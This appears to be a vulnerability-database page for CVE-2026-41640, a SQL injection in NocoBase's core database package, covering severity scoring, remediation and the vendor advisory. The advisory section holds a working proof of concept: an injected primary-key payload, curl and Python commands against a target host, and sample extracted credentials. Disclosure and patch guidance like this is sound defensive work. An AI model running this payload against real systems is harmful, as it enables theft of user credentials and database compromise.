Skip to main content

NocoBase CVE-2026-41640

| EUVDEUVD-2026-28261 HIGH
SQL Injection (CWE-89)
2026-04-22 https://github.com/nocobase/nocobase GHSA-4948-f92q-f432
8.8
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate as user with record-creation rights
  2. Delivery
    Create tree collection with string primary key
  3. Exploit
    Store UNION-based SQL payload as record primary key
  4. Execution
    Trigger recursive eager loading via list request
  5. Persist
    Inject third UNION branch into recursive CTE
  6. Impact
    Extract credentials from CAST error messages

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Persistence

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires an authenticated account with record-creation permission on a NocoBase collection configured as a tree/adjacency-list (tree: 'adjacencyList', with treeParent/treeChildren belongsTo/hasMany relations) whose primary key is string-typed (type:'string', primaryKey:true) - numeric/integer primary keys are not exploitable because the payload must be stored as a key value. Exploitation also requires that a subsequent request trigger recursive eager loading on that collection (a BelongsTo association resolved with recursively: true, e.g. appends=parent(recursively=true)), which calls queryParentSQL() and interpolates the stored primary key into the recursive CTE. Limiting factors: authentication and record-creation authorization are mandatory (PR:L, not unauthenticated); the collection must use the tree structure AND string primary keys; full OS command execution (COPY ... TO PROGRAM) additionally requires the database connection to run as a PostgreSQL superuser, and the error-based exfiltration channel shown in the PoC is specific to PostgreSQL's CAST error messages.

Impact

Signals are moderately but not uniformly elevated. The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, base 8.8) describes a network-reachable, low-complexity attack that requires authentication (PR:L) - an authenticated user with record-creation permission, not an anonymous internet attacker, which meaningfully caps the exposed population. EPSS is 4.21% (89th percentile): elevated relative to the average CVE but far from the high-probability tail, consistent with a flaw that needs an authenticated foothold and a specific collection configuration rather than mass spray-and-pray exploitation. The vulnerability is NOT in CISA KEV, so there is no confirmed active exploitation; exploitation status is best described as a public PoC reference exists but is not verified as working exploit code (a projectdiscovery nuclei template is referenced). There is no SSVC vector in the input; the only decision signal is the vuln.today priority label 'this_week', which aligns with the this-week (not act_now/emergency) tier - treat as a prompt-but-not-drop-everything patch. Net: this is a genuine, well-documented, author-confirmed SQL injection with demonstrated credential-dump impact, but the PR:L authentication requirement and the required tree-collection-with-string-PK configuration make it a targeted post-authentication risk rather than a wormable internet-facing emergency. One data caveat: the advisory confirms affected versions '<= 2.0.32' while EUVD/package metadata say '< 2.0.39' (fixed in 2.0.39), leaving 2.0.33-2.0.38 as very likely but not explicitly 'confirmed' vulnerable - verify your exact running version against the 2.0.39 fix.

Exploit ScenarioDerived

An authenticated low-privilege NocoBase user who has permission to create records on a tree/adjacency-list collection with a string-type primary key stores a crafted value (e.g. root') UNION ALL SELECT ...) as a record's primary key. When any later request triggers recursive eager loading (appends: parent(recursively=true)), the injected SQL executes inside the recursive CTE, and a CAST-to-integer error returns subquery output in the HTTP error message, enabling error-based extraction of emails and password hashes. A public PoC reference (nuclei template) exists but is not verified as working exploit code; the author's advisory PoC confirms extraction against NocoBase v2.0.32 + PostgreSQL 16.13.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 4.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Nov 11, 2026

SQL injection in NocoBase's core @nocobase/database package affects versions before 2.0.39 and lets an authenticated user who can create records inject arbitrary SQL by storing a crafted string primary key in a tree/adjacency-list collection, after which any request that triggers recursive eager loading on that collection (for example appends=parent(recursively=true)) splices the stored key into a recursive CTE. Successful exploitation exposes arbitrary database contents - the advisory's PoC reports extraction of the database version, current database name, and user emails plus password hashes on PostgreSQL 16.13 - and on PostgreSQL deployments where the application connects as a superuser, COPY ... TO PROGRAM escalates this to OS command execution. A public PoC reference exists (including a Nuclei template); it is not verified as working exploit code, no public exploitation is confirmed by CISA KEV, and EPSS sits at 4.21% (89th percentile), consistent with a this_week rather than emergency remediation priority.

Earlier versions of this analysis (1)
v1 Apr 23, 2026 - 06:55 CVSS 7.5

SQL injection in NocoBase's @nocobase/database package allows authenticated users with record-creation privileges to execute arbitrary SQL queries and extract database credentials. The vulnerability exists in the queryParentSQL() function, which constructs recursive Common Table Expression (CTE) queries using string concatenation instead of parameterized queries when processing tree collections with string primary keys. An attacker can inject malicious SQL by creating records with crafted primary key values, triggering the vulnerability when recursive eager loading occurs. Successful exploitation leads to full database compromise, with confirmed extraction of administrator credentials (emails and password hashes) in testing against PostgreSQL. On databases where the service account has elevated privileges, attackers can achieve operating system command execution via PostgreSQL's COPY...TO PROGRAM feature. Vendor patch available via GitHub PR #9133.

RemediationAI

Vendor-released patch: 2.0.39 - upgrade NocoBase/@nocobase/database (and @nocobase/plugin-field-sort) to 2.0.39 or later, which replaces the string-concatenated IN ('...') list with $n bind placeholders in both eager-loading-tree.ts and sort-field.ts and adds regression tests using injection payloads (PR https://github.com/nocobase/nocobase/pull/9133, commit https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604, advisory https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432). If upgrading immediately is not possible, the exposure can be reduced by not granting record-creation permission on tree/adjacency-list collections whose primary key is string-typed and by avoiding string primary keys on such collections - integer keys cannot carry the payload - accepting the trade-off that this restricts legitimate users of those collections; suppressing recursive appends such as appends=parent(recursively=true) at the API/gateway layer removes the vulnerable code path but breaks tree parent/child rendering in the UI. Because the advisory notes database-level damage depends on the privileges of the connection, running the NocoBase database connection as a least-privileged role rather than a PostgreSQL superuser removes the COPY ... TO PROGRAM path to OS command execution; this does not stop error-based read of application tables.

Affected VersionsENISA

nocobase < 2.0.39

Affected Packages

npm @nocobase/database fix: 2.0.39
euvd nocobase fix: 2.0.39

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The flaw is CWE-89 in @nocobase/database (CPE pkg:npm/@nocobase_database), specifically queryParentSQL() in packages/core/database/src/eager-loading/eager-loading-tree.ts, which builds a PostgreSQL WITH RECURSIVE CTE by joining nodeIds with string concatenation - WHERE "id" IN ('${nodeIds.join("','")}') - instead of using bind parameters. The nodeIds come from instance.get(targetKey) on rows read from the database, so attacker-controlled key material reaches the SQL text whenever a BelongsTo association is resolved with recursively: true and instances exist. Because the injected value can close the template's parenthesis and append a syntactically complete UNION ALL branch, the whole CTE stays valid; the advisory's PoC uses CAST((SELECT ...) AS integer) to force a type error that carries the subquery result back in the 500 response, making this an error-based exfiltration channel specific to PostgreSQL error messages. Sequelize identifiers are quoted via quoteIdentifier, but values are not parameterized. The same concatenation pattern was identified in packages/plugins/@nocobase/plugin-field-sort/src/server/sort-field.ts (filteredScopeValue) and both locations are converted to placeholder/bind form in the upstream fix. Exploitability is constrained: the collection must be configured as a tree/adjacency-list with a string-typed primary key (an integer key cannot carry the payload), the attacker needs record-creation rights, and the OS-command escalation path depends on the database role the application uses.

Know when Nocobase gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Network API reachable (AV:N) with no special timing (AC:L); PR:L because an authenticated record-creation permission is required; stored payload needs no victim interaction (UI:N); full DB read/write/DoS gives C:H/I:H/A:H, S:U as base (superuser OS exec is a conditional escalation).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

5
Analysis Updated
Nov 11, 2026 - 23:37 vuln.today
v2 - CVSS changed
CVSS changed
Nov 11, 2026 - 23:23 NVD
7.5 (HIGH) 8.8 (HIGH)
Patch released
Apr 22, 2026 - 20:31 nvd
Patch available
PoC Detected
Apr 22, 2026 - 20:09 vuln.today
Public exploit code
CVE Published
Apr 22, 2026 - 20:09 nvd
HIGH 7.5

DescriptionNVD

Summary

The queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.

Affected component: @nocobase/database (core) Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Any user with record-creation permission on a tree collection with string-type primary keys

Vulnerable Code

packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84

javascript
const queryParentSQL = (options: {
  db: Database;
  nodeIds: any[];
  collection: Collection;
  foreignKey: string;
  targetKey: string;
}) => {
  const { collection, db, nodeIds } = options;
  const tableName = collection.quotedTableName();
  const { foreignKey, targetKey } = options;
  const foreignKeyField = collection.model.rawAttributes[foreignKey].field;
  const targetKeyField = collection.model.rawAttributes[targetKey].field;

  const queryInterface = db.sequelize.getQueryInterface();
  const q = queryInterface.quoteIdentifier.bind(queryInterface);
  return `WITH RECURSIVE cte AS (
      SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
      FROM ${tableName}
      WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}')  // <-- INJECTION
      UNION ALL
      SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}
      FROM ${tableName} AS t
      INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}
      )
      SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;
};

This function is called at line 384 when a BelongsTo association has recursively: true and instances exist:

javascript
// eager-loading-tree.ts:382-395
if (node.includeOption.recursively && instances.length > 0) {
    const targetKey = association.targetKey;
    const sql = queryParentSQL({
        db: this.db, collection, foreignKey, targetKey,
        nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows
    });
    const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });
}

PoC

The payload keeps the CTE syntactically valid by injecting a third UNION ALL branch. The closing ') from the original template literal completes the injected WHERE clause, and the remaining UNION ALL ... INNER JOIN ... SELECT ... FROM cte lines stay intact.

Injection ID value:
  root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1

Generated SQL (3 valid UNION ALL branches):
  WITH RECURSIVE cte AS (
    SELECT "id", "parentId" FROM "table"
    WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')
    UNION ALL
    SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId"
  ) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte

The CAST-to-integer triggers a runtime error whose message contains the subquery result.
bash
TOKEN="<jwt_token>"
# 1. Create tree collection with string PKs
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"vuln_tree","tree":"adjacencyList","fields":[
    {"name":"id","type":"string","primaryKey":true,"interface":"input"},
    {"name":"title","type":"string","interface":"input"},
    {"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},
    {"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}
  ]}'
# 2. Create safe root
curl -s http://TARGET:13000/api/vuln_tree:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"id":"root","title":"Root"}'
# 3. Create injection parent - error-based extraction of admin email
python3 -c "
import requests, json
headers = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'}
payload_id = \"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\"
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
    json={'id': payload_id, 'title': 'x'})
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
    json={'id': 'child', 'title': 'c', 'parentId': payload_id})
r = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers,
    params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})
print(json.dumps(r.json(), indent=2))
"
# Returns: 500 {"errors":[{"message":"invalid input syntax for type integer: \"admin@nocobase.com\""}]}
#                                                                          ^^^^^^^^^^^^^^^^^^^^^^^
#                                                             Exfiltrated data in error message

Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):

SubqueryExtracted Value
SELECT version()PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu...
SELECT current_database()nocobase
SELECT email FROM users ORDER BY id LIMIT 1admin@nocobase.com
SELECT password FROM users ORDER BY id LIMIT 1006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38
`SELECT string_agg(email\\

Impact

  • Confidentiality: Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).
  • Integrity: Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.
  • Availability: Resource-exhaustive queries or destructive DDL.
  • Scope change: On PostgreSQL with superuser, COPY ... TO PROGRAM achieves OS command execution.
  • Blast radius: Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in plugin-field-sort/src/server/sort-field.ts:124.

Fix Suggestion

  1. Use parameterized queries. Replace the string concatenation with bind parameters:
javascript
   const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(',');
   const sql = `WITH RECURSIVE cte AS (
       SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
       FROM ${tableName}
       WHERE ${q(targetKeyField)} IN (${placeholders})
       UNION ALL
       ...
   ) SELECT ... FROM cte`;
   return { sql, bind: nodeIds };

Then call db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction }).

  1. Apply the same fix to plugin-field-sort/src/server/sort-field.ts:124, which has an identical concatenation pattern with filteredScopeValue.
  2. Validate primary key values at record creation time. Reject or escape values containing SQL metacharacters (', ", ;, --) in string-type primary key fields.

Executive ViewAI

Why It Matters

NocoBase, a low-code platform, contains a SQL injection vulnerability (CVE-2026-41640) that allows authenticated users to extract sensitive database information, including password hashes, and potentially execute system commands. This poses a significant risk to data confidentiality and system integrity, particularly for organizations using NocoBase in production environments. Leadership should prioritize remediation to prevent unauthorized access to critical data.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
4.2%
Top 11% exploitable
Prevalence
Medium
popular open-source no-code platform, moderate self-hosted production footprint
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 4.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

68
Low Medium High Critical
KEV: 0
EPSS: +4
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy